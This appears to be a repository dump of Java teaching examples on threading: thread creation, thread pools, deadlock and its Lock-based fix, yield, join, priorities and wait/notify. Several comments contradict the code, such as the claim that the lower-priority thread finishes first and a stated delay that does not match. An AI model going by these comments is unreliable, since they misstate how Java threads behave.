    "content": "/**\n * \n */\npackage com.jun.plugin.thread.test;\n\nimport java.util.concurrent.Callable;\nimport java.util.concurrent.ExecutionException;\nimport java.util.concurrent.FutureTask;\n\n/**\n* @Title: Test\n* @Description: \n* @Version:1.0.0  \n* @author pancm\n* @date 2018年5月17日\n*/\npublic class Test {\n\n\tpublic static void main(String[] args) {\n\t\tThreadTest threadTest=new ThreadTest();\n\t\tthreadTest.setPriority(1);\n\t\tthreadTest.start();\n\n\t\tRunalbeTest runalbeTest=new RunalbeTest();\n\t\tThread thread=new Thread(runalbeTest);\n\t\tthread.setPriority(10);\n\t\tthread.start();\n\t\t\n\t\tCallableTest callableTest=new CallableTest();\n\t\tFutureTask<Integer> ft = new FutureTask<Integer>(callableTest);  \n\t\tThread thread2=new Thread(ft);\n\t\tthread2.setPriority(5);\n\t\tthread2.start();\n\t\ttry {\n\t\t\tSystem.out.println(\"返回值:\"+ft.get());\n\t\t} catch (InterruptedException e) {\n\t\t\te.printStackTrace();\n\t\t} catch (ExecutionException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n\n}\n\n\nclass ThreadTest extends Thread{\n\t @Override\n     public void run() {\n\t\t for(int i=1;i<5;i++){\n\t\t\t System.out.println(\"这是一个Thread的线程!\"+i);\n\t\t\t try {\n\t\t\t\tsleep(50);\n\t\t\t} catch (InterruptedException e) {\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\t\t }\n\t\t System.out.println(\"Thread的线程执行完了!\");\n\t\t \n    }\n}\n\n\nclass RunalbeTest implements Runnable{\n\t @Override\n     public void run() {\n\t\t for(int i=1;i<5;i++){\n\t\t\t System.out.println(\"这是一个Runnable的线程!\"+i);\n\t\t\t  try {\n\t\t\t\t Thread.sleep(50);\n\t\t\t\t} catch (InterruptedException e) {\n\t\t\t\t\te.printStackTrace();\n\t\t\t\t}\n\t\t }\n\t\t System.out.println(\"Runnable的线程执行完了!\");\n\n    }\n}\n\n\nclass CallableTest implements Callable<Integer>{\n\n\t@Override\n\tpublic Integer call() throws Exception {\n\t\tfor(int i=1;i<5;i++){\n\t\t\t System.out.println(\"这是一个Callable的线程!\"+i);\n\t\t\t try {\n\t\t\t\t Thread.sleep(50);\n\t\t\t\t} catch (InterruptedException e) {\n\t\t\t\t\te.printStackTrace();\n\t\t\t\t}\n\t\t }\n\t\t System.out.println(\"Callable的线程执行完了!\");\n\t\treturn 2;\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/thread/test/Test22.java",
    "content": "package com.jun.plugin.thread.test;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\n\npublic class Test22 {\n\t\n\tpublic static void main(String[] args) {\n\t\tMap<Integer,Integer> map=new HashMap<Integer,Integer>();\n\t\tmap.put(0, 0);\n\t\tmap.put(1, 1);\n\t\tfor(Integer type:map.keySet()){\n\t\t\tThread3 t3=new Thread3(type);\n\t\t\tt3.start();\n\t\t}\n\t}\n}\n\nclass Thread3 extends Thread{\n\n\tprivate int type;\n\t\n\tpublic Thread3(int type){\n\t\tthis.type=type;\n\t}\n\t \n\t @Override\n     public void run() {\n\t\t if(type==0){\n\t\t\t //连接mysql\n\t\t\t System.out.println(\"线程ID:\"+getId()+\"连接mysql\");\n\t\t }else if(type==1){\n\t\t\t //连接oracle\n\t\t\t System.out.println(\"线程ID:\"+getId()+\"连接oracle\");\n\t\t }\n    }\n\t\n\t \n\t \n\t \n}"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/thread/test/TheadTest3.java",
    "content": "package com.jun.plugin.thread.test;\n\npublic class TheadTest3 {\n\n\tpublic static void main(String[] args) throws InterruptedException {\n\t\tMyRunnable myRunnable=new MyRunnable();\n\t\tfor(int i=1;i<=5;i++){\n\t\t\tThread thread=new Thread(myRunnable);\n\t\t\tthread.setName(\"myRunnable-\"+i);\n\t\t\tthread.start();\n\t\t}\n\t\tThread.sleep(2000);\n\t\tmyRunnable.set(true);\n\t\tThread.sleep(3000);\n\t\tmyRunnable.set(false);\n\t\tfor(int i=1;i<=5;i++){\n\t\t\tMyThread myThread=new MyThread();\n\t\t\tmyThread.setName(\"myThread-\"+i);\n\t\t\tmyThread.start();\n\t\t}\n\t\t\n\t\t\n\t\tSystem.out.println(\"结束...\");\n\t}\n\t\n\t\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/thread/test/ThreadPoolTest.java",
    "content": "package com.jun.plugin.thread.test;\n\nimport java.text.DateFormat;\nimport java.text.ParseException;\nimport java.text.SimpleDateFormat;\nimport java.util.Date;\nimport java.util.concurrent.ArrayBlockingQueue;\nimport java.util.concurrent.ExecutorService;\nimport java.util.concurrent.Executors;\nimport java.util.concurrent.ScheduledThreadPoolExecutor;\nimport java.util.concurrent.ThreadPoolExecutor;\nimport java.util.concurrent.TimeUnit;\n\n/**\n * \n* @Title: ThreadPoolTest\n* @Description:\n* 线程池测试 \n* @Version:1.0.0  \n* @author pancm\n* @date 2018年3月1日\n */\npublic class ThreadPoolTest {\n\n\tpublic static void main(String[] args) {\n//\t\tcachedThreadPool();\n//\t\tfixedThreadPool();\n//\t\tnewSingleThreadExecutor();\n//\t\tnewScheduledThreadPool();\n//\t\tnewScheduledThreadPool2();\n\t\tthreadPoolExecutor();\n\t}\n\t\n\t/**\n\t * 创建一个可缓存的线程池，如果当前线程池的规模超出了处理需求，将回收空的线程；当需求增加时，会增加线程数量；线程池规模无限制。\n\t */\n\tprivate  static void cachedThreadPool() {\n\t\tExecutorService exec=Executors.newCachedThreadPool();\n\t\tfor(int i=0;i<10;i++){\n\t\t\texec.execute(new MyThread2(String.valueOf(i)));\n\t\t}\n\t\t//执行到此处并不会马上关闭线程池,执行完成之后才会关闭 但之后不能再往线程池中加线程，否则会报错  \n\t\texec.shutdown(); \n\t\tSystem.out.println(\"运行结束！\");\n\t\t/**\n\t\t * 1、主线程的执行与线程池里的线程分开，有可能主线程结束了，但是线程池还在运行\n\t\t * 2、放入线程池的线程并不一定会按其放入的先后而顺序执行\n\t\t * \n\t\t */\n\t}\n\t\n\t/**\n\t * 创建一个固定长度的线程池，当到达线程最大数量时，线程池的规模将不再变化。\n\t */\n\tprivate static void fixedThreadPool() {\n\t\tExecutorService exec = Executors.newFixedThreadPool(5);     \n\t     for(int i = 0; i < 10; i++) {     \n\t            exec.execute(new MyThread2(String.valueOf(i)));     \n\t     }     \n\t     exec.shutdown();  //执行到此处并不会马上关闭线程池  \n\t     System.out.println(\"运行结束！\");\n\t     /**\n\t      * 1线程开始运行,时间2018-03-01 11:50:33 170\n\t\t\t4线程开始运行,时间2018-03-01 11:50:33 170\n\t\t\t3线程开始运行,时间2018-03-01 11:50:33 170\n\t\t\t2线程开始运行,时间2018-03-01 11:50:33 170\n\t\t\t0线程开始运行,时间2018-03-01 11:50:33 170\n\t\t\t4线程运行结束,时间2018-03-01 11:50:34 171\n\t\t\t3线程运行结束,时间2018-03-01 11:50:34 171\n\t\t\t2线程运行结束,时间2018-03-01 11:50:34 171\n\t\t\t5线程开始运行,时间2018-03-01 11:50:34 172\n\t\t\t6线程开始运行,时间2018-03-01 11:50:34 172\n\t\t\t7线程开始运行,时间2018-03-01 11:50:34 172\n\t\t\t1线程运行结束,时间2018-03-01 11:50:34 172\n\t\t\t0线程运行结束,时间2018-03-01 11:50:34 172\n\t\t\t8线程开始运行,时间2018-03-01 11:50:34 172\n\t\t\t9线程开始运行,时间2018-03-01 11:50:34 172\n\t\t\t8线程运行结束,时间2018-03-01 11:50:35 181\n\t\t\t6线程运行结束,时间2018-03-01 11:50:35 181\n\t\t\t9线程运行结束,时间2018-03-01 11:50:35 181\n\t\t\t7线程运行结束,时间2018-03-01 11:50:35 181\n\t\t\t5线程运行结束,时间2018-03-01 11:50:35 181\n\t\t\t\n\t\t\t结论:1,FixedThreadPool模式会使用一个优先固定数目的线程来处理若干数目的任务。\n\t\t\t    2,FixedThreadPool模式下最多 的线程数目是一定的。\n\t\t\t\n\t      */\n\t}\n\t\n\t/**\n\t * 创建一个单线程的Executor，确保任务对了，串行执行\n\t */\n\tprivate static void newSingleThreadExecutor() {\n\t\t ExecutorService exec = Executors.newSingleThreadExecutor();   //创建大小为1的固定线程池  \n\t     for(int i = 0; i < 10; i++) {     \n\t            exec.execute(new MyThread2(String.valueOf(i)));     \n\t     }     \n\t     exec.shutdown();  //执行到此处并不会马上关闭线程池  \n\t     System.out.println(\"运行结束！\");\n\t}\n\t\n\t\n\t/**\n\t * 创建一个固定长度的线程池，而且以延迟或者定时的方式来执行，类似Timer；\n\t */\n\tprivate static void newScheduledThreadPool() {\n\t\t ScheduledThreadPoolExecutor  exec = (ScheduledThreadPoolExecutor) Executors.newScheduledThreadPool(10);   //创建大小为10的线程池  \n\t     for(int i = 0; i < 10; i++) {     \n\t            exec.schedule(new MyThread2(String.valueOf(i)), 2, TimeUnit.SECONDS);//延迟2秒执行  \n\t     }     \n\t     //如果任务都完成了则返回true\n\t     while(!exec.isTerminated()){  \n\t            //wait for all tasks to finish  \n//\t    \t System.out.println(\"正在运行中...\");\n\t     }  \n\t     System.out.println(\"运行结束！\");\n\t}\n\t\n\t/**\n\t * 设置固定时间执行\n\t */\n\tprivate static void newScheduledThreadPool2() {\n\t\t ScheduledThreadPoolExecutor  exec = (ScheduledThreadPoolExecutor) Executors.newScheduledThreadPool(10);   //创建大小为10的线程池  \n\t\t long oneDay = 24 * 60 * 60 * 1000;    \n\t\t long initDelay  = getTimeMillis(\"14:08:00\") - System.currentTimeMillis();    \n\t\t initDelay = initDelay > 0 ? initDelay : oneDay + initDelay;  \n\t\t exec.scheduleAtFixedRate(new MyThread2(String.valueOf(1)), initDelay, oneDay, TimeUnit.MILLISECONDS);\n\t     System.out.println(\"运行结束！\");\n\t}\n\t\n\t/**  \n\t * 获取指定时间对应的毫秒数  \n\t * @param time \"HH:mm:ss\"  \n\t * @return  \n\t */    \n\tprivate static long getTimeMillis(String time) {    \n\t    try {    \n\t        DateFormat dateFormat = new SimpleDateFormat(\"yy-MM-dd HH:mm:ss\");    \n\t        DateFormat dayFormat = new SimpleDateFormat(\"yy-MM-dd\");    \n\t        Date curDate = dateFormat.parse(dayFormat.format(new Date()) + \" \" + time);    \n\t        return curDate.getTime();    \n\t    } catch (ParseException e) {    \n\t        e.printStackTrace();    \n\t    }    \n\t    return 0;    \n\t} \n\t\n\t/**\n\t * ThreadPoolExecutor线程池\n\t */\n\tprivate  static void threadPoolExecutor() {\n\t\tint corePoolSize=5;\n\t\tint maximumPoolSize=10;\n\t\tlong keepAliveTime=2L;\n\t\t// 线程核心数，最大线程数，线程缓存时间，时间格式，缓存队列 ，线程工厂，拒绝策略\n\t\tThreadPoolExecutor tpx=new ThreadPoolExecutor(corePoolSize, maximumPoolSize, keepAliveTime, \n\t\t\t\tTimeUnit.SECONDS, new ArrayBlockingQueue<Runnable>(3),\n\t\t\t\tExecutors.defaultThreadFactory(),new ThreadPoolExecutor.DiscardOldestPolicy());\n\t\t\n\t\t  for (int i = 1; i <= 10; i++) {  \n\t            try {  \n\t                // 产生一个任务，并将其加入到线程池  \n\t                String task = \"task@ \" + i;  \n//\t                System.out.println(\"put \" + task);  \n\t                tpx.execute(new MyThread2(task));  \n\t                // 便于观察，等待一段时间  \n\t                Thread.sleep(20);  \n\t            } catch (Exception e) {  \n\t                e.printStackTrace();  \n\t            }  \n\t        }  \n\t}\n\t\n\t\n\t\n}\n\nclass MyThread2 implements Runnable{\n\tprivate String name;\n\tpublic  MyThread2(String name){\n\t\tthis.name=name;\n\t}\n\t\n\t@Override\n\tpublic void run() {\n\t\tSystem.out.println(name+ \"线程开始运行,时间:\" +getNowTime());\n\t\tpause(1000);\n\t\tSystem.out.println(name+ \"线程运行结束,时间:\" +getNowTime());\n\t}\n\t\n\tprivate void pause(long lo) {\n\t\t try {  \n             Thread.sleep(lo);  \n         } catch (InterruptedException e) {  \n             e.printStackTrace();  \n         }  \n\n\t}\n\t\n\tprivate String getNowTime(){\n\t\treturn new SimpleDateFormat(\"yyyy-MM-dd HH:mm:ss SSS\").format(new Date());\n\t}\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/thread/test/ThreadTest1.java",
    "content": "package com.jun.plugin.thread.test;\n/**\n * @author ZERO\n * @Data 2017-5-24 下午2:22:41\n * @Description \n */\npublic class ThreadTest1 {\n\n\t  public static void main(String[] args) {\n\t\t  myThread();\n\t\t  System.out.println(\"\\r\\n\");\n\t\t  myRunnable();\n      }\n   \n\t  \n\t  public static void myThread(){\n\t\t  for (int i = 0; i < 10; i++) {\n              System.out.println(\"myThreadTest:\"+Thread.currentThread().getName() + \" \" + i);\n             if (i == 3) {\n                  Thread myThread1 = new MyThread();     // 创建一个新的线程  myThread1  此线程进入新建状态\n                  Thread myThread2 = new MyThread();     // 创建一个新的线程 myThread2 此线程进入新建状态\n                  myThread1.start();                     // 调用start()方法使得线程进入就绪状态\n                  myThread2.start();                     // 调用start()方法使得线程进入就绪状态\n             }\n         }\n\t  }\n\t  \n\t  public static void myRunnable(){\n\t\t  for (int i = 0; i < 10; i++) {\n              System.out.println(\"myRunnableTest:\"+Thread.currentThread().getName() + \" \" + i);\n             if (i == 3) {\n            \tRunnable myRunnable = new MyRunnable(); // 创建一个Runnable实现类的对象\n            \tThread thread1 = new Thread(myRunnable); // 将myRunnable作为Thread target创建新的线程\n            \tThread thread2 = new Thread(myRunnable);\n            \tthread1.start(); // 调用start()方法使得线程进入就绪状态\n                thread2.start();\n             }\n         }\n\t  }\n\t  \n\t  \n}\n\n\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/thread/test/ThreadTest4.java",
    "content": "package com.jun.plugin.thread.test;\n\n/**\n * \n* Title: ThreadTest4\n* Description:\n* 死锁测试 \n* Version:1.0.0  \n* @author pancm\n* @date 2018年3月8日\n */\npublic class ThreadTest4 {\n    static class Friend {\n        private final String name;\n \n        public Friend(String name) {\n            this.name = name;\n        }\n \n        public String getName() {\n            return this.name;\n        }\n \n        public synchronized void bow(Friend bower) {\n            System.out.format(\"%s: %s\" + \"  早上好!%n\", this.name, bower.getName());\n            bower.bowBack(this);\n        }\n \n        public synchronized void bowBack(Friend bower) {\n            System.out.format(\"%s: %s\" + \" 你也是!%n\", this.name, bower.getName());\n        }\n    }\n    \n     /**\n      * 两个线程都在等在对方释放资源，但是都不会释放，这就是死锁。\n      * @param args\n      */\n    public static void main(String[] args) {\n        final Friend zhangsan = new Friend(\"张三\");\n        final Friend lisi = new Friend(\"李四\");\n        new Thread(new Runnable() {\n            public void run() {\n            \tzhangsan.bow(lisi);\n            }\n        }).start();\n        new Thread(new Runnable() {\n            public void run() {\n            \tlisi.bow(zhangsan);\n            }\n        }).start();\n        \n        /**\n         * 正常的返回结果应该是:\n         *  张三: 李四  早上好!\n\t\t\t李四: 张三 你也是!\n\t\t\t李四: 张三  早上好!\n\t\t\t张三: 李四 你也是!\n         * 因为去掉了synchronized同步锁!\n         * \n         * 但实际结果是:\n         * 张三: 李四  早上好!\n\t\t       李四: 张三  早上好!\n         * 并且线程不会结束！\n         */\n        \n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/thread/test/ThreadTest5.java",
    "content": "package com.jun.plugin.thread.test;\n\nimport java.util.Random;\nimport java.util.concurrent.locks.Lock;\nimport java.util.concurrent.locks.ReentrantLock;\n\n/**\n * \n* Title: ThreadTest5\n* Description:\n*  ThreadTest4 的改进版\n*  通过Lock来实现\n* Version:1.0.0  \n* @author pancm\n* @date 2018年3月8日\n */\npublic class ThreadTest5 {\n    static class Friend {\n        private final String name;\n        private final Lock lock = new ReentrantLock();\n\n        public Friend(String name) {\n            this.name = name;\n        }\n\n        public String getName() {\n            return this.name;\n        }\n\n        public boolean impendingBow(Friend bower) {\n            Boolean myLock = false;\n            Boolean yourLock = false;\n            try {\n                myLock = lock.tryLock();\n                yourLock = bower.lock.tryLock();\n            } finally {\n                if (!(myLock && yourLock)) {\n                    if (myLock) {\n                        lock.unlock();\n                    }\n                    if (yourLock) {\n                        bower.lock.unlock();\n                    }\n                }\n            }\n            return myLock && yourLock;\n        }\n\n        public void bow(Friend bower) {\n            if (impendingBow(bower)) {\n                try {\n                    System.out.format(\"%s: %s has\" + \" bowed to me!%n\", this.name, bower.getName());\n                    bower.bowBack(this);\n                } finally {\n                    lock.unlock();\n                    bower.lock.unlock();\n                }\n            } else {\n                System.out.format(\n                        \"%s: %s started\" + \" to bow to me, but saw that\" + \" I was already bowing to\" + \" him.%n\",\n                        this.name, bower.getName());\n            }\n        }\n\n        public void bowBack(Friend bower) {\n            System.out.format(\"%s: %s has\" + \" bowed back to me!%n\", this.name, bower.getName());\n        }\n    }\n\n    static class BowLoop implements Runnable {\n        private Friend bower;\n        private Friend bowee;\n\n        public BowLoop(Friend bower, Friend bowee) {\n            this.bower = bower;\n            this.bowee = bowee;\n        }\n\n        public void run() {\n            Random random = new Random();\n            for (;;) {\n                try {\n                    Thread.sleep(random.nextInt(10));\n                } catch (InterruptedException e) {\n                }\n                bowee.bow(bower);\n            }\n        }\n    }\n\n    public static void main(String[] args) {\n        final Friend alphonse = new Friend(\"Alphonse\");\n        final Friend gaston = new Friend(\"Gaston\");\n        new Thread(new BowLoop(alphonse, gaston)).start();\n        new Thread(new BowLoop(gaston, alphonse)).start();\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/thread/test/ThreadTest6.java",
    "content": "package com.jun.plugin.thread.test;\n\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\n/**\n* @Title: ThreadTest6\n* @Description: \n* @Version:1.0.0  \n* @author pancm\n* @date 2018年7月23日\n*/\npublic class ThreadTest6 {\n\n\t\n\t/**\n\t * @param args\n\t */\n\tpublic static void main(String[] args) {\n\t\tMap<String, Object> map=new HashMap<String,Object>();\t\n\t\tList<Integer> l=new ArrayList<>();\n\t\tThread99 t9=new Thread99();\n\t\tThread t=new Thread(t9);\n\t\t\n\t}\n}\n\n\n\n\nclass Thread99 implements Runnable{\n\n\t@Override\n\tpublic void run() {\n\t\tSystem.out.println(\"====\");\t\n\t}\n}\n\n\n\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/thread/test/YieldTest.java",
    "content": "package com.jun.plugin.thread.test;\n\n/**\n * @Title: YaildTest\n * @Description: 线程中的 Yaild方法测试\n * @Version:1.0.0\n * @author pancm\n * @date 2018年5月22日\n */\npublic class YieldTest {\n\tpublic static void main(String[] args) {\n\t\tTest1 t1 = new Test1(\"张三\");\n\t\tTest1 t2 = new Test1(\"李四\");\n\t\t\n\t\tnew Thread(t1).start();\n\t\tnew Thread(t2).start();\n\t}\n}\n\nclass Test1 implements Runnable {\n\tprivate String name;\n\tpublic Test1(String name) {\n\t\tthis.name=name;\n\t}\n\t@Override\n\tpublic void run() {\n        System.out.println(name + \" 线程运行开始!\");  \n\t\tfor (int i = 1; i <= 5; i++) {\n            System.out.println(\"子线程\"+name+ \"运行 : \" + i);  \n\t\t\t// 当为3的时候，让出资源\n\t\t\tif (i == 3) {\n\t\t\t\tThread.yield();\n\t\t\t}\n\t\t}\n        System.out.println(name + \" 线程运行结束!\");  \n\t}\n}"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/thread/test/executorTest.java",
    "content": "package com.jun.plugin.thread.test;\n\nimport java.util.concurrent.Executors;\nimport java.util.concurrent.ScheduledExecutorService;\nimport java.util.concurrent.ScheduledFuture;\nimport java.util.concurrent.TimeUnit;\n\n/**\n * \n* Title: executorTest\n* Description:线程池 \n* Version:1.0.0  \n* @author pancm\n* @date 2017年11月20日\n */\npublic class executorTest {\n\n\tpublic static void main(String[] args) {\n\t\t//创建一个其线程池具有 10 个线程的ScheduledExecutorService\n\t\tScheduledExecutorService executor =Executors.newScheduledThreadPool(10);\n\t\tSystem.out.println(\"开始...\");\n\t\t//创建一个 Runnable，以供调度稍后执行\n\t\tScheduledFuture<?> future = executor.schedule(\n\t\t\t\tnew Runnable() {\n\t\t\t\t@Override\n\t\t\t\tpublic void run() {\n\t\t\t\tSystem.out.println(\"30 seconds later\");\n\t\t\t\t}\n\t\t\t\t}, 30, TimeUnit.SECONDS); //调度任务在从现在开始的 60 秒之后执行\n\t\t\t\texecutor.shutdown(); //执行完毕，释放资源\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/thread/test/package-info.java",
    "content": "/**\n* @Title: package-info\n* @Description: 线程相关的一些类\n* @Version:1.0.0  \n* @author pancm\n* @date 2018年9月20日\n*/\npackage com.jun.plugin.thread.test;"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/thread/test/threadMain.java",
    "content": "package com.jun.plugin.thread.test;\n\nimport java.util.Random;\n\n/**\n * @author ZERO\n * @Data 2017-5-24 下午5:15:23\n * @Description \n * 线程优先级测试\n */\nclass Thread1 extends Thread{  \n    public Thread1(String name) {  \n        super(name);  \n    }  \n    public void run() {  \n        System.out.println(this.getName() + \" 线程运行开始!\");  \n        for (int i = 0; i < 5; i++) {  \n            System.out.println(\"子线程\"+this.getName() + \"运行 : \" + i);  \n            try {  \n                sleep(new Random().nextInt(10));  \n            } catch (InterruptedException e) {  \n                e.printStackTrace();  \n            }  \n        }  \n        System.out.println(this.getName() + \" 线程运行结束!\");  \n    }\n}\n  \n/**\n * \n* Title: ThreadYield\n* Description: \n*  \n */\nclass ThreadYield extends Thread{  \n    public ThreadYield(String name) {  \n        super(name);  \n    }  \n   \n\t@Override  \n    public void run() {  \n        for (int i = 1; i <= 10; i++) {  \n            System.out.println(\"\" + this.getName() + \"-----\" + i);  \n            // 当i为5时，该线程就会把CPU时间让掉，让其他或者自己的线程执行（也就是谁先抢到谁执行）  \n            if (i ==5) {  \n            \tthis.yield();  \n            }  \n        }  \n }  \n}\n \n\n\tpublic class threadMain {\n\t    \n\t public static void main(String[] args) {  \n//\t\t    noJoinThread();\n//\t\t \tjoinThread();\n//\t\t    yieldThread();\n\t\t    setPriorityThread();\n\t\t \n\t\t \n\t    \n\t } \n\t\n\t public static void noJoinThread(){\n\t\t System.out.println(Thread.currentThread().getName()+\"主线程运行开始!\");  \n\t     Thread1 mTh1=new Thread1(\"A\");  \n\t     Thread1 mTh2=new Thread1(\"B\");  \n\t     mTh1.start();  \n\t     mTh2.start();  \n\t     System.out.println(Thread.currentThread().getName()+ \"主线程运行结束!\");  \n\t   /**输出:\n\t    * main主线程运行开始!\n\t\t\tmain主线程运行结束!\n\t\t\tA 线程运行开始!\n\t\t\tB 线程运行开始!\n\t\t\t子线程B运行 : 0\n\t\t\t子线程A运行 : 0\n\t\t\t子线程A运行 : 1\n\t\t\t子线程A运行 : 2\n\t\t\t子线程A运行 : 3\n\t\t\t子线程A运行 : 4\n\t\t\tA 线程运行结束!\n\t\t\t子线程B运行 : 1\n\t\t\t子线程B运行 : 2\n\t\t\t子线程B运行 : 3\n\t\t\t子线程B运行 : 4\n\t\t\tB 线程运行结束!\n\t\t\t\n\t\t\t主线程比子线程先结束。因为子线程花费的大量时间运算，如果防止这种情况发生，那么就需要使用join()方法。\n\t\t\tB线程先运行，但是A线程先结束。说明多线程程序是乱序执行。\n\t    * */ \n\t }\n\t \n\t //join指等待t线程终止\n\t public static void joinThread(){\n\t\t System.out.println(Thread.currentThread().getName()+\"主线程运行开始!\");  \n\t     Thread1 mTh1=new Thread1(\"A\");  \n\t     Thread1 mTh2=new Thread1(\"B\");  \n\t     mTh1.start();  \n\t     mTh2.start();  \n\t      try {  \n\t            mTh1.join();  \n\t        } catch (InterruptedException e) {  \n\t            e.printStackTrace();  \n\t        }  \n\t        try {  \n\t            mTh2.join();  \n\t        } catch (InterruptedException e) {  \n\t            e.printStackTrace();  \n\t        }    \n\t     System.out.println(Thread.currentThread().getName()+ \"主线程运行结束!\");  \n\t   /**输出:\n\t    *   main主线程运行开始!\n\t\t\tA 线程运行开始!\n\t\t\t子线程A运行 : 0\n\t\t\tB 线程运行开始!\n\t\t\t子线程B运行 : 0\n\t\t\t子线程A运行 : 1\n\t\t\t子线程A运行 : 2\n\t\t\t子线程A运行 : 3\n\t\t\t子线程A运行 : 4\n\t\t\tA 线程运行结束!\n\t\t\t子线程B运行 : 1\n\t\t\t子线程B运行 : 2\n\t\t\t子线程B运行 : 3\n\t\t\t子线程B运行 : 4\n\t\t\tB 线程运行结束!\n\t\t\tmain主线程运行结束!\n\t\t\t\n\t\t\t添加join方法，会使 主线程一定会等子线程都结束了才结束。\n\t\t\tB线程先运行，但是A线程先结束。说明多线程程序是乱序执行。\n\t    * */ \n\t }\n\t \n\t //yield():暂停当前正在执行的线程对象，并执行其他线程。\n\t public static void yieldThread(){\n\t\t ThreadYield yt1 = new ThreadYield(\"张三\");  \n\t     ThreadYield yt2 = new ThreadYield(\"李四\");  \n\t     yt1.start();  \n\t     yt2.start();    \n\t   /**输出:\n\t    *   张三-----1\n\t\t\t李四-----1\n\t\t\t李四-----2\n\t\t\t李四-----3\n\t\t\t李四-----4\n\t\t\t李四-----5\n\t\t\t张三-----2\n\t\t\t张三-----3\n\t\t\t张三-----4\n\t\t\t张三-----5\n\t\t\t李四-----6\n\t\t\t李四-----7\n\t\t\t李四-----8\n\t\t\t李四-----9\n\t\t\t李四-----10\n\t\t\t张三-----6\n\t\t\t张三-----7\n\t\t\t张三-----8\n\t\t\t张三-----9\n\t\t\t张三-----10\n\t       \n\t                       先乱序执行，当谁到达5的时候，让出CPU资源，让另一个执行。\n\t        \n\t    * */ \n\t }\n\t \n\t //setPriority(): 设置线程的优先级。数值在0-10之间, 数值越大，优先级越高 \n\t public static void setPriorityThread(){\n\t\t Thread1 t1=new Thread1(\"A\");  \n\t\t Thread1 t2=new Thread1(\"B\");  \n//\t\t t1.setPriority(Thread.MAX_PRIORITY);\n//\t\t t2.setPriority(Thread.MIN_PRIORITY);\n\t\t t1.setPriority(1);\n\t\t t2.setPriority(2);\n\t\t t1.start();\n\t\t t2.start();\n\t\t \n\t\t /**\n\t\t  * A 线程运行开始!\n\t\t\t子线程A运行 : 0\n\t\t\t子线程A运行 : 1\n\t\t\tB 线程运行开始!\n\t\t\t子线程B运行 : 0\n\t\t\t子线程A运行 : 2\n\t\t\t子线程B运行 : 1\n\t\t\t子线程A运行 : 3\n\t\t\t子线程B运行 : 2\n\t\t\t子线程A运行 : 4\n\t\t\t子线程B运行 : 3\n\t\t\tA 线程运行结束!\n\t\t\t子线程B运行 : 4\n\t\t\tB 线程运行结束!\n\t\t\t\n\t\t\tA线程优先级比B线程高，因此优先执行A线程。所以A线程一定比B线程先执行完。\n\t\t  */\n\t\t \n\t }\n\t \n \n    }\t\n\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/thread/test/threadPrinter.java",
    "content": "package com.jun.plugin.thread.test;\n/**\n * @author ZERO\n * @Data 2017-5-27 下午4:27:21\n * @Description \n * 测试Object notify和wait方法\n */\npublic class threadPrinter implements Runnable {\n\n\t    private String name;     \n\t    private Object prev;     \n\t    private Object self;     \n\t    \n\t    private threadPrinter(String name, Object prev, Object self) {     \n\t        this.name = name;     \n\t        this.prev = prev;     \n\t        this.self = self;     \n\t    }     \n\t    \n\t    @Override    \n\t    public void run() {     \n\t        int count = 10;     \n\t        while (count > 0) {     \n\t            synchronized (prev) {     \n\t                synchronized (self) {     \n\t                    System.out.print(name);     \n\t                    count--;    \n\t                    self.notify();     \n\t                }     \n\t                try {     \n\t                    prev.wait();     \n\t                } catch (InterruptedException e) {     \n\t                    e.printStackTrace();     \n\t                }     \n\t            }     \n\t    \n\t        }     \n\t    }     \n\t    \n\t     /**\n\t      * 建立三个线程，A线程打印10次A，B线程打印10次B,C线程打印10次C，要求线程同时运行，交替打印10次ABC。\n\t      * 思路:\n\t      * 同时运行这三个线程，打印A、B、C，确保线程的执行顺序是ABC,可以加上Thread.sleep()进行简单的控制\n\t      * 在运行A线程的时候，确保上一个线程不在运行，那么先唤醒本线程，然后 使上一个线程进行等待\n\t      * \n\t      * @param args\n\t      * @throws Exception\n\t      */\n\t    public static void main(String[] args) throws Exception {     \n\t        Object a = new Object();     \n\t        Object b = new Object();     \n\t        Object c = new Object();     \n\t        threadPrinter pa = new threadPrinter(\"A\", c, a);     \n\t        threadPrinter pb = new threadPrinter(\"B\", a, b);     \n\t        threadPrinter pc = new threadPrinter(\"C\", b, c);     \n\t             \n\t             \n\t        new Thread(pa).start();  \n\t        Thread.sleep(100);  //确保按顺序A、B、C执行  \n\t        new Thread(pb).start();  \n\t        Thread.sleep(100);    \n\t        new Thread(pc).start();     \n\t        Thread.sleep(100);    \n\t     }     \n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/thread/test/threadTest2.java",
    "content": "package com.jun.plugin.thread.test;\n\nimport org.junit.Test;\n\n/**\n * @author ZERO\n * @Data 2017-5-18 上午9:47:55\n * @Description  线程测试\n */\npublic class threadTest2 {\n\n\t/**\n\t * @param args\n\t */\n\tpublic static void main(String[] args) {\n       \n\t\t\n\t}\n  \n\t@Test\n    public void createThread1(){\n        Thread t1 = new Thread(){\n            public void run(){\n                    System.out.println(\"创建线程的方式1\");\n            }\n        };\n        t1.start();\n    }\n\t\n\t@Test\n    public void createThread2(){\n        Thread t2 = new Thread(new Runnable(){\n            @Override\n            public void run() {\n                System.out.println(\"创建线程的方式2\");\n            }\n\n        });\n        t2.start();\n    }\n}\n"
